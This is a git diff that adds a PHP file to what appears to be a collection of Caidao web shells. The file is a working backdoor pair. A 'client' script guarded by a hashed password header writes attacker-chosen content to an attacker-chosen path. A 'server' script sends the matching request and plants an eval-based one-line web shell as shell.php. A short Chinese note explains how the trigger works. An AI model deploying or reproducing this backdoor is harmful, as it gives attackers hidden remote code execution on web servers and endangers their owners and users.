diff --git a/caidao-shell/toby57解析加密一句话木马.php b/caidao-shell/toby57解析加密一句话木马.php
new file mode 100644
index 0000000..6aef0cd
--- /dev/null
+++ b/caidao-shell/toby57解析加密一句话木马.php
@@ -0,0 +1,30 @@
+Client：
+
+<?php
+if(crypt($_SERVER['HTTP_H0ST'],51)=='514zR17F8j0q6'){@file_put_contents($_SERVER['HTTP_X'],$_SERVER['HTTP_Y']);
+header("Location: ./".$_SERVER['HTTP_X']);};
+?>
+Server:
+
+<?php
+$fp = fsockopen("127.0.0.1",80,$errno,$errstr,5);
+if (!$fp){
+echo('fp fail');
+}
+$out = "GET /php_muma/client.php HTTP/1.1\r\n";
+$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
+$out .= "User-Agent: MSIE\r\n";
+$out .= "Host: 127.0.0.1\r\n";
+$out .= "H0ST: qiushui51a\r\n";
+$out .= "X: ../shell.php \r\n";
+$out .= "Y: <?php eval(\$_POST1);?>\r\n";
+$out .= "Connection: close\r\n\r\n";
+fwrite($fp,$out);
+while(!feof($fp)){
+$resp_str="";
+$resp_str .= fgets($fp,512);//返回值放入$resp_str
+}
+fclose($fp);
+echo($resp_str);//处理返回值.
+?>
+对服务端与客户端指令对比，如一致则执行后门指令。
\ No newline at end of file